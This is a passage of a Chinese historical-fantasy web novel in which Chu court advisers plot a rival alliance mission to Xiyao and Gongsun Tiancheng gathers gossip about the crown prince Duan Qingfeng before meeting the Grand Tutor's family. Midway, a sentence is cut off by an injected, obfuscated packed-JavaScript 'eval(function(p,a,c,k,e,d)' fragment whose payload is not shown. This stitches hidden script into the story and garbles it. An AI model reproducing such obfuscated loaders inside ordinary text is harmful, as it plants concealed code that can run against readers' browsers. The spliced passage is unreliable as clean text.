程亦风皱着眉头,显然不太明白。 公孙天成道:“好比咱们见到了玉旒云,猜测到她是要南下和西瑶结盟的,以如今的局势来看,一旦西瑶成为我国之敌,后果不堪设想,所以我们决不能允许此事发生,对于西瑶提出的条件,就会尽量都满足——咱们不顾规矩,直接让太子在这种盟书上盖了印,不就是明证么?对于樾人也是一样。玉旒云多半还不知道段青锋也找了大人,像她那样一个斤斤计较的人,肯定盘算着如何结盟才能使西瑶得不到好处,而且,她大概连全部的谈判计划都制订好了——若是不能达成她的目的,大不了一拍两散。段青锋不愿和这样一个厉害的对手相争,也决不愿意出现‘一拍两散’,所以,他要神不知鬼不觉地将西瑶考虑和楚国结盟的消息传给玉旒云。这样让玉旒云也有些危机感,促使她改变最初的计划。西瑶就好从乱中得利。” 程亦风愣了愣:“玉旒云是个心胸狭窄之徒,倘若叫她知道西瑶同时在和我国议盟,我看她不会有‘危机感’,只会勃然大怒,然后立刻取消和西瑶议盟的计划。那段世子不就白忙一场?” 公孙天成微微一笑:“西瑶和我国议盟,还是我国同西瑶议盟,听起来虽然差不多,但实际却有很大不同啊。” 程亦风不解。 符雅插嘴道:“倘若是西瑶请我国去结盟,而同时又请樾人去议盟,则是西瑶人不讲信义,脚踏两船。玉旒云眼里容不下沙子,一定拂袖而去。但是,若是我国主动去央求西瑶缔结盟约,‘恰巧’被玉旒云碰到,那就又是另一种情形了。她会以为西瑶是异常重要的战略伙伴,若是她结盟不成,却让我国得到了盟友,这对樾国可是大大的不利。所以,她为了不允许此事发生,也许会不惜一切代价,争取到西瑶盟友——公孙先生,符雅说得对不对?” 公孙天成点头:“不错。” “这……这岂不是太卑鄙了?”程亦风道,“照先生的意思,西瑶人是打定了主意要两边讨便宜。先利用玉旒云使咱们签了这无底洞一般的盟约,接着又要利用咱们从玉旒云那边得些好处——咱们把这盟书送到西瑶去,如果要照条文实施,会被拖垮,不实施,背上言而无信的恶名,而无论实施还是不实施,都去陪段青锋演一出骗玉旒云上钩的戏。玉旒云一旦和西瑶结盟,无论她获利多少,都会对我国造成威胁——如此看来,西瑶之行对我国有害无利,咱们就当从来没见过段青锋好了。省去许多麻烦。” “也不然。”公孙天成摇头,“假如我们不去,西瑶就会和樾国结盟。虽然现阶段西瑶不一定能得到什么实际的好处,可是将来,若他们和樾人联手侵略我国,我国腹背受敌,必然难以招架。西瑶作为樾国南侵的大功臣,肯定要求分割天下,那他们的版图起码扩大一倍——且不论西瑶有没有这个本事吃下这么大一块肉,也不论樾国将来会不会兔死狗烹,只要是这两国结盟,对我国就是大大的不利。” “果然如此。”程亦风道,“那我们也想个法子悄悄让玉旒云知道西瑶的计划。让她立刻返程归国,这不就行了?” 公孙天成笑道:“大人说的倒简单。玉旒云是个疑心病重的家伙,你找什么人‘偷偷’给她送信,她会相信呢?万一她怀疑是我国存心破坏,那岂不适得其反?” 程亦风本想说“找个樾国人”,可是知道这是行不通的,玉旒云所信的,大约只有她安插在楚国的奸细,这奸细是谁,又怎样才能使其按照楚人的意思去诓骗玉旒云,根本无法控制。尤其,这时提出“奸细”的事来,公孙天成定然会揪着小莫不放。程亦风是决不信小莫是奸细的。他于是道:“听先生的意思,这也不是,那也不是,仿佛咱们已经被西瑶算计得没有别的路可走了——要如何是好?” 公孙天成拈了拈胡须,微微思考了片刻,道:“西瑶这如意算盘的确打得够响,玉旒云这个对手也叫人十分头疼,不过,咱们并不是完全被他们牵着鼻子走。老朽为大人计,先有三件事大人必须同时着手来做。第一,就是盯着那奸细小莫。” 程亦风一听这话就皱起了眉头。可是公孙天成并不理会他,只接着说道:“利用这个奸细,上策是,引诱这暗桩子同主子联络,从而找到玉旒云,将其拿下;中策则是威逼利诱,让他说出玉旒云的行踪;至于下策,也即若是前两策都不奏效,就要痛下杀手,不管他承不承认,杀之而后快。宁可杀错了,也不能再将祸害留在身边。” “啊,这……”程亦风要反对。可公孙天成没有给他说话的机会,打断了,继续自己的话题:“其二,让冷将军放手进行全国通缉,还要为他提供兵力支持。若通过这天罗地网将玉旒云擒获,就可以用她作为谈判的筹码,这自然是上策;要是全国通缉之时无法活捉,混乱之下将玉、石二人杀死了,如此虽算不得永绝后患,但至少也可以少一个劲敌,此为中策;万一冷将军手下全都是草包,国内各地的官员也都无法碰到玉旒云一根头发,但至少可以拖延她的行程,让她推迟到达西瑶——至少,不可在我们的使节到达西瑶以先。这就算是下策。” 这一条程亦风倒没有异议,只道:“先生的意思,咱们还是得派人去西瑶结盟?” “自然是要去议盟。”公孙天成道,“最好是和西瑶结盟对付樾国,此为上策;中策是哪怕西瑶不和我国结盟,也要阻止其与樾国结盟;下策则是,万一来不及阻止,宁可让西瑶脚踏两船,为了利益兼顾而远远地作壁上观,也不能让他们成为樾国顶在我们后心的一把匕首。” 三项措施,共计九种对策,彼此之间并不冲突,也不相互独立,经经纬纬交织一处,形成一张大网——即使其中有些环节可能是“失策”的,其他的却照旧可以把时局网住,让一切尽在掌握之中。 “先生以为该派谁去议盟呢?”符雅问。 “依老朽之见,”公孙天成道,“樾国的使节是玉旒云,我国怎么也得派出地位相当的特使才行。” 地位相当?程亦风想,在军中担任要职的人,冷千山等是决不可以派的,司马非镇守边关,也不合适,还有谁呢?难道自己亲自前去?看段青锋的意思,似乎是如此啊!可是……打心眼儿里,他不愿意搀和这阴谋诡计。 符雅一眼就看出他的顾虑来了,笑了笑,道:“公孙先生,符雅倒是觉得,派个地位相当的人反而不好。” “哦?”公孙天成道,“此话怎讲?” 符雅道:“西瑶重商,他们的朝廷也是按照生意人的规矩做事。我们去和他们议盟,就像生意人讨价还价。西瑶人现在是仗着自己中立的身份,想压我们的价,我们应该把自己的价定得高高的,才有跟他们周旋的余地。假如我们自己先就打了折扣,那岂不是便宜他们了?” “小姐的意思?”公孙天成饶有兴趣。 符雅道:“西瑶一早就宣布独立,可是咱们却一直没有承认过,他们也还一直交纳岁贡。所以无论是名义上还是实质上,他们都还是我楚国的属国。我们派人到西瑶去,那是去视察,叫钦差,不叫使节。只要是我国皇帝派出的钦差,无论是超品的贵胄,还是未入流的小官,那都是和西瑶镇南王平起平坐的身份。我们派这样一个人去,就把这‘天朝上国’筹码加到了自己这边。这对我国来说是个鸡肋,谈判起来,头一个就可以丢掉。而对于西瑶来说,能够不经征战就得到正名,实在是天大的好处呢。” “果然!”程亦风赞成,“我堂堂天朝上国,到自己的属国去商谈些小事,却动用一品大员,岂不叫西瑶人骨头轻得都要飞上天了?叫玉旒云看到,不也更加要把西瑶当成了不得的战略伙伴,千方百计要和他们结盟?” 虽然他分析的这一条很是在理,但公孙天成知道他最大的心病就是怕去周旋,心中忍不住叹息:这个程大人,楚国当他是中流砥柱,百姓等他力挽狂澜,他却是……唉!罢了,罢了,各人自有所长。他是治世之能臣,乱世就由老夫来解决好了。因道:“小姐和大人说的没错。我看也不必再费心找什么不入流的小官来做钦差大臣了,老朽去走一躺就好。” 计议定下,当然就是依照他所说的“三管齐下”。 魏进监视小莫,没有看到任何的异常。冷千山通缉玉旒云和石梦泉,搞得凉城人心惶惶,不过总算是在那日黄昏十分接到了偎红阁妓女红珠报案,说是看到通缉文榜上的两名“江洋大盗”,自己的马车被劫持了,其中一个强盗还抢了自己新做的一身衣服,扮成女人蒙混出城。冷千山问她:朝什么方向逃窜了?红珠却是不知。冷千山就令人立刻向方圆四百里的郡县送出通缉文榜,又令那些地方官接到之后,就地刻板印刷,分别再向更远的地方传递,如此发散性地交接下去,在半个月之内,可以覆盖全国。 风雷社的一干人得知了此事,纷纷到程亦风面前来陈述利害。但是程亦风知道内情,非但不能阻止,还要支持冷千山,士子们见到,都觉得十分奇怪。好在自从红珠报案之后,顺天府就确定了玉旒云已经离开了凉城,所以京城的警戒松懈了下来,大家可以眼不见心不烦,而京畿新政之事甚忙,也就没有时间再去和冷千山计较了——其实,冷大将军忙着通缉“江洋大盗”,无暇给新政找麻烦,众人高兴还来不及。 公孙天成筹备西瑶之行,为了赶在玉旒云之先,当然是越早动身越好。不过,他深知磨刀不误砍柴功。要在西瑶一举成事,必须要知己知彼,尤其要了解西瑶朝廷中有些什么势力,两两间又有些什么关系,谁是盟友,谁是敌人,谁可利用,谁要避而远之……他虽然早年曾在南疆游历,但去的都是偏僻之地。边民隐士或许还认得几个,朝廷要员就一个不识。为在动身之前摸清对手的状况,他只有求助于符雅。 但符雅道:“先生要问我,那就问错人了。我虽然和先父在临渊住了几年,可那时西瑶和我国关系闹得正僵,武德帝一年也难得和楚国官员见几次面,西瑶官员更是不愿和咱们沾上边儿,省得落个‘卖国’的罪名。所以,西瑶的官场我只知道些官员的名字,其他可谓一窍不通呢!” 公孙天成难免有些失望,但还是道:“小姐至少还知道些名字,总好过老朽一无所知。小姐若能将这些姓名写下来交给老朽,老朽到了西瑶也不至于抓瞎。” 符雅自然说“好”,取了笔墨来,边想边写,别听她自谦说“一窍不通”,但是官职姓名一一对照,不多时就密密麻麻写满了三页,这才放下笔道:“哎呀,再也记不得了,先生将就着用吧。西瑶选官用的‘九品官人法’,一般官员不犯大过,这位子可以坐到死呢。我离开西瑶才几个月,这些人应该都还在原职上吧。” 公孙天成自然知道“九品官人法”,中原百多年前还未实行科举,就如此选拔官员。具体操作起来,就是在各地选择“贤有识见”的官员任“中正”,查访评定辖区内人士,将其分成“上上”、“上中”、“上下”、“中上”、“中中”、“中下”、“下上”、“下中”、“下下”九等,作为吏部授官的依据。实际都是选的名门望族。所以出现了“上品无寒门,下品无世族”的情况,天长日久,选出来的官员简直没一个中用的。西瑶建国才不过几十年,弊端恐怕还未显现吧。 符雅自己拿着那三张名单端详,似乎是为提供不出更详细的内幕而懊恼,因指着头一个名字道:“这牟希来牟太师应该是朝中最有权势的一位老臣,他过去教导过武德帝,后来又给段青铮做老师,到段青铮死后,又教导段青锋。西瑶的国子监也是由他主持的,朝中的大臣大半算得他的门生。先生如果能争取到他,那就是把西瑶的文官都争取来了。” 公孙天成点点头,暗想这个符小姐实在不简单。如果是程亦风到西瑶去住了几年,恐怕民歌抄了几本,文人识得若干,但是一个官员也不会结交,连名字也多半叫不出来。“有文有武,”他道,“小姐知道武将中谁为大?” “应该是兵部尚书。”符雅指着一个名字,“就是这位卓思远卓大人。他是去年年底才刚刚升任尚书的,才三十出头的年纪,究竟在朝中有多大势力,还不晓得呢。”说着,又扑哧一笑:“不过在全国的姑娘心中,那分量可就重了。” “怎么?”公孙天成笑道,“莫非他是个花花公子?” 符雅摇摇头:“恰恰相反。他一点儿也不风流。他是已故段青铮太子的挚友,两人从前形影不离,恐怕比起樾国的玉旒云和石梦泉来有过之而无不及。他对段青铮也是忠诚无比,在段氏死后,还断发纪念呢!” “哦?这果然是超出主仆关系的。” 符雅道:“单单只是忠诚,那还迷不倒西瑶全国的姑娘。他还是西瑶著名的美男子。我有幸见过一次,果然是叫潘安退避三舍,宋玉甘拜下风。西瑶的贵族小姐几乎是打破了头想要嫁他为妻。然而他却说他有一个深爱的人,命运捉弄不能结合,于是他立誓终身不娶。哎哟,姑娘们的心都碎了呢——可是越心碎,就越是割舍不下卓大人哪!” 公孙天成听符雅的语气颇有调侃的意味,笑道:“符小姐要老朽去争取卓大人么?莫非是想借着他把西瑶的女子都争取过来?” 符雅道:“咦,这有什么不好?许多少女时代就迷恋卓大人的贵族小姐都做了高官的夫人,如果先生能把夫人都说服,夫人们去吹吹枕边风,那些官员们也就都能说服了。” 依然像是玩笑话,公孙天成哈哈大笑:“好,老朽一定记得去找这位卓大人。不过,小姐难道不觉得最后拍板的应该是武德帝么?” “武德帝这时候应该在枯云寺斋戒,先生去了不一定见着面。”符雅道,“朝中应该是大臣们做主——也说不定是段青锋。不过这也真奇怪,我记得段青锋十分讨厌政事,好像跟这个太子位有仇似的,常年住在妓院里,既不回太子府也不回皇宫。” “妓院?”公孙天成惊讶。 “是。”符雅道,“一个叫绿窗小筑的地方。他在那儿专门写些淫词艳曲靡靡之音,在风月场中甚为流行。妓女们都以唱‘太子词’为荣。不仅如此,他还和妓女们一处演戏。他老子都快被他气死了——这次他竟出来斡旋结盟之事,莫非是突然转了性?” 公孙天成笑了笑:怕不是突然转性吧?看段青锋在楚国的所为,全然剑走偏锋,非特立独行之人不能为,不过,这种“特立独行”并不是一般纨绔子弟挖空心思要找乐子,而是有着清楚的政治目的,之前显然是对天下形势有过一番详细的分析。再说了,他如果真的是个一无是处的花花公子,就算是偶然“转了性”,武德帝怎么能放心把这么重要的结盟大事交给他来办?他这种糜烂不堪的作风多半是装出来的。 “呵呵,那倒有意思!”公孙天成道,“原来段世子是个风流倜傥的人物。他这样胡天胡地,岂不是苦了他的妃子?” “他就是太胡天胡地了,”符雅笑“还没有娶妻呢——但或许有私生子,我可不知道。” 看来符小姐对段青锋的印象不怎么好。 公孙天成见左右再无其他内幕可问,就不再耽搁,次日便起程南下,只带了一个赶车的随从由通天道马不停蹄,不日就渡过了天江,来到西瑶境内。进入临渊城,就向人打听绿窗小筑的所在。得来全不费功夫。 到这妓院门前时,正是黄昏时分,首先就看到了段青锋亲笔的“绿窗小筑”四个字。再跟着一群客人走到里面,便看到那“谁为袖手旁观客,我亦逢场作戏人”的对联。 这倒有深意,他想,看笔迹,似乎也是出于段青锋之手。这就更加印证了自己的猜想:段青锋的纨绔应该是装出来的,这对联中尽是桀骜不驯,怀才不遇之感。不晓得段世子是否已经回到了此处?若他还未到,不知这妓院中有多少人是熟悉他的?倒可打听打听。 想着,就和众人一起来到了里间,看到那处诺大的戏台。许多艳丽的女子围坐在台边,而男人们就坐在看台之上——中原的戏台多是高高在上,看客们从下仰望,而西瑶这戏台却是深陷地下,十分古怪。他才坐定,就有一个丫鬟模样的姑娘挎着篮子走了过来,给每个人发面具。公孙天成接过来看看,见是煞白的一张笑脸,奇怪道:“这是做什么用?” 他旁边一个年轻就道:“老先生是外乡来的吧?这面具是唱傩戏用的。” 傩戏公孙天成知道,是边民用来祭祀鬼神的舞蹈,不过也只是演戏的人才戴面具,未见过看戏的也戴面具的。 那人看出了他的疑问,笑道:“老先生有所不知,今天是大家为排演太子的新戏做准备。他那出新戏据说是关于彼岸花的,精彩异常。大家都想在其中占个一席之地呢!” “哦?”公孙天成撒谎道,“你说的可是段青锋段太子的戏么?老朽是在蓬莱国宫中做乐官的,早也听说西瑶流行‘太子词’,敝主一定要在下前来学习。既然段太子有新戏,那就真是巧了!” 这人笑道:“除了他,还有哪个太子?原来太子词声名远播,连蓬莱国都知道了,可真了不起。” 公孙天成打了个哈哈,道:“不知太子殿下在何处?老朽要是能见一见他的面,回到敝国,也好炫耀炫耀。” 这人道:“这可就说不准了。太子殿下一向是神龙见首不见尾。他同大家说写了这新戏,那还是新年时的事,后来就没再到绿窗小筑来过。我们听说是孝文老太后病了,所以他到萱懿山庄去了。” 公孙天成知道段青锋在西瑶消失是因为他北上找樾、楚两国结盟,这个什么孝文老太后自然是个幌子。“那老太后的病现在如何了?太子殿下什么时候才能回来呢?” 这人道:“听说老太后已好多了。十一月十七是阿弥陀佛的诞辰。他是西方极乐世界之主,太子说要把《彼岸花》献在老太后那边的法事上。” “原来老太后是信佛的。”公孙天成随便搭上一句,心中想,到十一月十七还早呢,那时段青锋当然已经回到西瑶了。 “先生看来真是头一次来我国呀。”那人道,“何止老太后?我们西瑶全国都是信佛的。我国皇帝不仅每年要去寺庙中斋戒修行,太子在九岁的时候还要出家做一年和尚呢。现在枯云寺的住持其实是我们万岁爷的大哥,他当年也是太子,不过做和尚做得乐不思蜀,坚持不肯还俗的,后来只好另立太子了。” “有这种事!”公孙天成道,“我们蓬莱国虽然也有许多人信佛,但是皇上出家可是闻所未闻。那现在的太子也出过家么?我看他写的戏文,倒不像是出家人的作品。” 那人道:“哦,青锋殿下是二十岁的时候因为原先的太子——也就是现在追封为晋王的——意外身故才入主东宫的,那时早就过了出家的年龄。听说当时朝臣们也提出,要他稍微‘意思意思’到寺庙里去过几天清修的日子,学习将来以慈悲治国的道理。但是殿下他是个与众不同的人,他不乐意做的事,谁能勉强?别说是要他住禅房,守清规戒律,哪怕是要他住皇宫,忍受些繁文缛节,他都不干,所以几乎常年住在这里呢。” “哦?”公孙天成道,“那……这不是不合规矩么?” 这人道:“管那么多呢?古板的人大概总是很不舒服,但是……呵呵,只要他的戏好看,就够啦。” 一国之太子岂是写几本歪戏就行的?公孙天成想,便道:“太子殿下的文章流传海外,想必治国的本领也非同一般。只要本领高,管他当没当过和尚呢?或许还有‘酒肉穿肠过,佛祖心中留’呢!” 这人哈哈一笑:“青锋殿下的文章好,大家都知道。不过治国嘛……那么俗的事情他怎么会有兴趣?听说当年他刚满十八岁,孝文皇太后让皇上招他回朝,让他辅佐当初的青铮太子处理朝政。没几个月,青锋殿下就甩手不干,又回到萱懿山庄,且这一去,连逢年过节也不回宫,直到青铮殿下发生意外才又勉强回来。现在他也是什么政务都不理。其实我们西瑶天生就是块佛祖庇佑的乐土,皇上只要无为而治就好啦。” 公孙天成对这治国谬论没有兴趣,只对那孝文太后让武德帝招段青锋回朝的事十分有兴趣,便问道:“怎么?难道青锋太子十八岁之前不在宫中?” 这人一愕,道:“先生远道从蓬莱国来,自然不知道了。青锋太子从小是在孝文太后身边长大的。孝文太后自先帝驾崩之后就断发出家,住在临渊郊外的慈济庵中。青锋太子打小就住在庵旁的萱懿山庄中,只有逢年过节才回宫参加庆典。庆典一结束,他又回到山庄里。” “这是什么道理?”公孙天成不解。 这人道:“呵呵,有时我想,为什么青锋太子的戏文写得这样好,可能是因为他自己的经历就像是一出戏吧。”说时朝台上看看,一群妓女正推推搡搡在排座次,便道:“估计还有一会要等,我就讲给你听听。” 公孙天成正是求之不得。 这人道:“要说起咱们的万岁爷,现在虽然是潜心修佛,年轻时也和旁的公子哥儿一样,做过好些荒唐事。听我爹说,皇上登基之初,三年之内就三次广选西瑶各族美女。佳丽三千虽然还没达到,不过三宫六院七十二妃却是凑齐了的。听说他还不过瘾,还要微服出宫去寻访佳人。我爹说,那时候凡是想攀龙附凤的人家到了夜晚都不锁门,希望皇上逛着逛着就逛到了自己家里,然后看上了自己的女儿。这样过了一年,西瑶各地冒出了许多私生子,全都自称是龙裔,许多人拥进京城,要和皇帝滴血认亲,简直天下大乱。” 竟还有这种事!公孙天成暗想:这武德帝岂不是个昏君?不过,也正是这个武德帝宣布西瑶脱离楚国独立的呀! 这人又接着道:“后来有一天,皇上微服来到桃花谷,不慎中了瘴毒,被一位景族女子所救。这位女子貌美无双,他就将其带回宫中,做了身边一个小小的才人。换在以往,皇上对美女的兴趣从来不过十日,失去了那新鲜劲儿,女子就被冷落了。可这景族女子却与众不同。皇上对她简直像是着了魔似的,连一刻都不能不见。起初是日日夜夜陪着这个女子连朝也不上,后来非得上朝不可,就把这女子扮成个小太监带在身边。大概一个月的时间,这女子就封为景贵妃,据说皇上还动了心思要废黜原配立她为后呢。” 景族?公孙天成想起符雅曾经提到过,那个民族男女都俊美,还擅长巫蛊之术,虽然后者大概是为了救凤凰儿临时编造出来的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“景贵妃此举深得人心,”那人接着道,“加上她又不想争夺皇后之位,所以大臣们便不再成天上疏要求皇上赶她走了。后宫安宁,皇上也就能励精图治,我爹常说那几年是空前的太平盛世。当时皇后早已产下了青铮太子,过了几年景贵妃又怀了身孕,大家都想皇上鸿福齐天,天下自然国泰民安。却哪里料到,景贵妃生下的皇子竟然有一双冰绿色的眼睛——那就是今日的青锋殿下。” 段青锋那一双眼睛,鬼气森森,的确叫人不寒而栗。“这可不真是妖怪?” “呵呵,”那人笑道,“其实这几年我国和婆罗门国生意往来频繁,许多那里来的生意人其实都是从西方欧罗巴洲来的红毛番人。他们的眼睛就是绿的,还有蓝的,紫的,连两只眼睛颜色不一样的都有。不过当初大家可没见过这样古怪的事,都说青锋殿下和景贵妃是妖怪,应该立刻烧死,也有人说至少得将他们母子赶回景族人聚居的桃花谷去。可皇上都不答应。没过多久,皇后就得了怪病,暴亡宫中。这样一来,举国上下要求处死妖孽的呼声愈高。但皇上充耳不闻,反而张罗着要将景贵妃扶上皇后之位。景贵妃执意不肯,拖到了第二年,实在拗不过,只好答应去参加皇后册封的祭祀仪式。就在那仪式上,她发了疯,落水身亡。” 不幸发生得太突然未免就显得离奇,公孙天成想,其实可能是后宫中的什么争斗让这两个女人没了性命,然而被人添油加醋穿凿附会,就成了妖魔鬼怪的传说。段青锋一出生就背负上这样的恶名,难怪后来会有如此古怪的性格。 “莫非是因为这个缘故,青锋殿下不能住在宫中,所以才送到孝文太后处教养?” “正是。”这人点点头,“其实皇上心里肯定还是舍不得的。你看自景贵妃死后,后宫主位虚悬了二十多年,可见皇上对她的思念。皇上也不曾再选美女,每年到寺庙清修的时间越来越长。到青铮太子成年时,因他文武兼备聪明过人,国家大事都可以处理,皇上就干脆将朝政都交给了儿子,自己长年参禅学佛。直到……” 直到段青铮意外身亡。公孙天成听符雅提过,段青铮是坠崖而死的,不知这其中有没有蹊跷?他看段青锋周旋在楚、樾两国之间,既有大智慧又有小聪明,想来聪明才智不在他兄长之下。然而,他是庶出,又背着个妖孽之名,连皇宫都住不下去,他会甘心吗?距离登天只有一步之遥,他会不会对兄长暗下杀手,铺平自己的青云之路?然后,为了消除大家对他的怀疑,故意装成花花公子的模样? 想到这里,公孙天成的心中不禁兴奋了起来:不想听人随便说了些掌故,竟收获如此巨大。小小西瑶,也大有文章! 这人知道如此多的内情,他看看身边这个年轻人,不晓得还能帮上什么忙?因问:“聊了这么久,未请教兄台大名?” “啊,好说了,免贵姓张,草字至美的就是。”年轻人道,“未知先生……” 公孙天成方要回答,却忽听一个女人喝道:“好哇,张至美你是吃了熊心豹子胆了?竟敢到这种地方来?” 张至美还没反应过来呢,已经被人扭着耳朵拽了起来。公孙天成才看到,来个是个妙龄少妇,生得两道柳叶吊梢眉,一双丹凤三角眼,本来已经不怒而威,这时发了火,更显得刻薄无比。张至美痛得他嗷嗷直叫,还不忘拱手求饶:“娘子,耳朵掉了,你先放开……哎哟,先放开……” 张夫人却是不放,道:“我放了你做什么?让你去找那些个不三不四的女人胡天胡地么?” “夫人冤枉啊!”张至美道,“我不过是来这里想演太子殿下的戏……什么胡天胡地?我怎么敢?” 张夫人冷笑:“你们这些男人心里想的什么我还不知道么?演戏!宫里养着戏班子他怎么不去演呢?偏偏要到这种地方来——再说了,太子是太子,他将来做了皇帝,三宫六院七十二妃都可以,你学他?他算什么?小心我休了你!” 呵!公孙天成真要对西瑶的女人刮目相看了——向来只有男人休妻子,哪有女人休丈夫的?这张夫人可真厉害。 张至美还是连声求饶。旁边的许多看客也都纷纷转过头来瞧热闹。张夫人好像并不怕家丑外扬,还把声音提高了几分,道:“你别以为太子做的就都对,就都能学。他要是做的都对,我爹这个太师还成天唉声叹气地做什么?一个学生已经把他老人家愁成这样,你这个女婿难道也要来气他么?” 原来是牟太师的女儿,公孙天成想,难怪这样嚣张——看来这张至美是个上门女婿,所以只有忍气吞声。符雅说过,牟太师在朝中势力不小,是一个应该要争取的人物。他心思飞快地一转,即向这张夫人作揖道:“夫人有礼了,老朽可以作证,张公子确实只是想演戏而已。其实连戏都还没演上呢,只是跟老朽闲聊而已。绝对没有什么不体面的行为。” 张夫人瞥了他一眼:“你是谁?” “他是蓬莱国的……”张至美抢先说道,“蓬莱国特使……”似乎是怕公孙天成说出自己那“乐官”的身份,赶忙先撒个谎,同时不停地向公孙天成使眼色。 公孙天成何等聪明,以逸待劳,配合着他演戏。 张夫人道:“蓬莱国的特使?跟你在这里做什么?” 张至美道:“蓬莱国……蓬莱国的皇帝听说过太子殿下的戏,特使来到我国就要见识见识,好回去交差。” “胡说八道!”张夫人一声断喝,揪着丈夫耳朵的手又多使了几份力,“你自己没出息,跟着太子做些无谓的事,就以为天下的人都跟你一样么?蓬莱国的皇帝正担心今年我国在南海采的珍珠强过他们的东海珍珠去,那样欧罗巴人就会从我国买珍珠——蓬莱国的人大多以打渔采珠为业,这是他们生死存亡的大事,蓬莱国皇帝现在会有心思管太子殿下演的什么荒唐戏?” 没想到这个女人虽然凶悍泼辣,却知道天下大事,看来牟太师家学渊源不可小觑!公孙天成灵机一动,就顺着她的话说道:“张夫人真是聪慧过人,老朽就是为了珍珠之事来的。不知道牟太师可不可以在贵国皇上面前说几句好话,好歹给我们蓬莱国百姓一条活路?” 千穿万穿马屁不穿。张夫人的吊梢眉稍稍放低了些,不过神态还是倨傲:“尊使应该知道,我西瑶重商,生意场和战场是一样的,不是你死就是我亡。我给了你们蓬莱国百姓活路,那我们南海的珠民岂不是断了财路?” 公孙天成道:“张夫人,话可不能这么说。生意场虽然如战场,但是战场上没有永远的敌人也没有永远的朋友,生意场上对手和盟友的变化只是更加频繁。今日销往欧罗巴的珍珠,你我是对手,明日岂知没有什么事我两国是需要合作的?我蓬莱国虽小,但说我们是东海的霸主也不为过,贵国为了一时独占珍珠生意,就和我国翻脸,将来的事再要弥补,恐怕会付出倍于珍珠的代价吧?” 他其实对蓬莱国是一无所知的,所以将话说的尽量模糊。但是道理上却无懈可击。张夫人果然愣了愣,清清嗓子道:“你说的也有道理。不过皇上现在在枯云寺修佛,朝中的事本该由太子处理,但太子殿下又跑到萱懿山庄去了,不知道什么时候才回来。就算他们都回来了,朝会上讨论这事,也不见得就会考虑将来如何。” 公孙天成笑道:“所以老朽才专程来找张公子,想要见见牟太师啊!”他压低了些声音:“谁不知道牟太师在朝廷里的地位?只要他老人家来说句话,老朽就好向辟国皇上交差了。” 张夫人瞥了这个陌生的老人一眼,似乎还想确认一下他说的话有几分真实。而张至美就在一旁说道:“既然如此,还耽搁什么呢?老先生就到寒舍见见我岳父大人吧。” 正这时,台上的表演终于开始了,丝竹管弦响成一片,又有妓女们翩翩起舞,唱道:“彼岸花,开彼岸。花莫见,叶莫见,到时为彼岸,过处即前生。”她们的声音甜腻而妖娆,真有点儿地狱中魔鬼招魂的感觉。本来看着张家夫妇热闹的人,全被那表演吸引,都目不转睛地盯着台上。张至美本来也是为了这表演而来的,一时如痴如醉。 张夫人如何看得下去,狠狠把丈夫的耳朵一拽:“看!我叫你看!还不跟我回家去?没见有正事要谈么?你再不好好跟爹学着点儿,将来怎么在朝廷里做官哪?太子贪玩不要紧,太子有人辅佐呀!他玩得翻了天也还是太子。你呢?你要是没出息,就回去卖你的茶叶去吧!” “哎哟哟,我知道了!”张至美嚎叫着,“夫人,拧掉了我的耳朵,上朝可难看!” 张夫人才不理,继续拽着丈夫的耳朵朝外走。 公孙天成追上去道:“张夫人,老朽看,你还是放开张公子比较好。” 张夫人瞪他一眼,道:“怎么?你自烦你的珍珠生意。我怎么教训这没出息的丈夫,可用不着你操心。” 公孙天成笑了笑,道:“张夫人望夫成龙,用心良苦,实在叫人佩服。不过夫人有没有想过,倘若老这么在大庭广众之下对张公子呼来喝去拳脚交加,大家心目中会怎么样张公子呢?怕是会觉得他懦弱无能,万事都要听老婆的,日后就算他真的做了一人之下万上之上的股肱之臣,大家能服他么?” 张夫人眯起眼睛,显然是觉得公孙天成说的不无道理。 公孙天成又接着道:“夫人要做张公子的贤内助。这‘贤’‘内’和‘助’三个字是分不开的。所谓‘贤’,夫人家事国事天下事无所不知,可以处处帮助丈夫,而所谓‘内’,指的就是要在背后悄悄地帮助,让外人都佩服您丈夫的本领,而‘助’,就是说,只有做到了前两者,这才是对尊夫的前途大有帮助啊!” 张夫人果然被说动了,松开了丈夫的耳朵,面色和善起来:“先生是要见家父么?就请随我们夫妻来吧。”又笑着看了张至美一眼,道:“相公,家里早就炖好了燕窝,现在正温着呢。你回去吃了,就可以读书了。” “恩……恩……啊……”张至美被老婆欺凌了这许多年,不想公孙天成三言两语就让雌老虎变成了贤妻良母,简直不敢相信自己的眼睛。直到张夫人“嫣然”一笑,转身朝外走了,他才缓过劲来,对公孙天成道:“老先生,你可真是厉害!” 公孙天成呵呵一笑:“什么厉害不厉害?婆娘嘛,再怎么厉害还能强过爷们儿去?只要找准了她们的弱点,一拿一个准!” 张至美大喜:“老先生,你可是我的救星!还没请教你的尊姓大名?” 公孙天成道:“什么尊姓大名的。老朽复姓公孙。你也不要‘先生’‘先生’地叫我,咱们萍水相逢,又都喜好戏剧,就以兄弟相称吧。老朽痴长了几岁,就不客气的做哥哥啦。” 张至美道:“好极了。公孙兄,今晚到了寒舍,小弟一定要请你畅饮一番。小弟另还搜集了不少太子殿下的戏文,咱们正好一同研究。” 公孙天成笑道:“甚好。不过尊夫人说要叫贤弟好好读书呢,恐怕读戏文她会……” “不打紧,不打紧!”张至美道,“偷偷的不被她发觉就好——哎呀,不过方才撒谎说要和我岳父大人谈什么珍珠买卖的事,可这如何是好?” 公孙天成微笑:“不妨事。老朽三寸不烂之舌,随便敷衍敷衍就好。” 张至美道:“妙极!公孙兄请!” 公孙天成也道:“请——”心里却想:见到了牟太师,我还说什么珍珠?该要开门见山,呈上盟书。 46. 第 46 章 随着张至美夫妻来到了太师府,略略客套了一番,用了茶,公孙天成就被引到书房拜见牟希来太师。这老者年纪虽大但是精神矍铄,尤其浑身上下的一股气势,让人立刻就感觉到他是个三朝元老。 他是段青锋的老师,至少是名义上的,公孙天成想,不知道他对结盟的事知道多少,态度如何? 到这个时候也只有走一步算一步,随机应变。 张夫人给双方做了引见,自言公孙天成是蓬莱国特使,前来洽谈与于欧罗巴珍珠生意之事,如此如此,这般这般。讲完了,却不走,好像是特意要叫丈夫见习见习官员是如何谈判似的,押着张至美陪坐一边,等公孙天成开口。 